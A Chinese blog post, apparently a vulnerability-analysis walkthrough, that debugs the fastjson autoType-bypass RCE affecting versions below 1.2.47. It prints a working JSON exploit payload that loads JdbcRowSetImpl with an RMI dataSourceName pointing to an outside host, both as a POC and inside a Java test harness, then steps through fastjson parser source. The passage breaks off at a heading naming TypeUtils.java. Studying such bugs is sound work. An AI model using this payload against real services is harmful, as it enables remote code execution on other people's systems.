IDEA debug漏洞第二弹(fastjson，version<1.2.47)(修正）

首先这个漏洞调试不需要非要使用docker，本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。

POC如下

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxxxx/Exploit","autoCommit":true}}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {

    public static void main(String[] args)
    {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
        String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload2);
    }
}

java代码如上，下载fastjson-1.2.44.jar放到对应lib目录下，并把lib目录加入到libraries上。

在JSON.parse(payload);下断点，调试。

    public static Object parse(String text, int features) {
        return parse(text, ParserConfig.getGlobalInstance(), features);
    }

在这块，我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量，也就是说，如果在代码块未对一些配置参数更改，那这块获取的配置就是默认的配置环境

环境可以理解为，就是一些参数值是true还是false。

我们可以看到，autoTypeSupport是false的，

在一些POC里，我们也搜到了一些fastjson rce漏洞触发的条件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    public static Object parse(String text, ParserConfig config, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

text就是传入的poc，config就是之前的全局环境配置。我们假设我们不知道哪里触发的，于是我们就要跟入一下new DefaultJSONParser这个实例化操作。

    public DefaultJSONParser(final String input, final ParserConfig config, int features){
        this(input, new JSONScanner(input, features), config);
    }

到这块，继续深入。可以通过查看dnslog，发现还没收到请求，说明还没触发漏洞。

第一个关键点

com/alibaba/fastjson/util/TypeUtils.java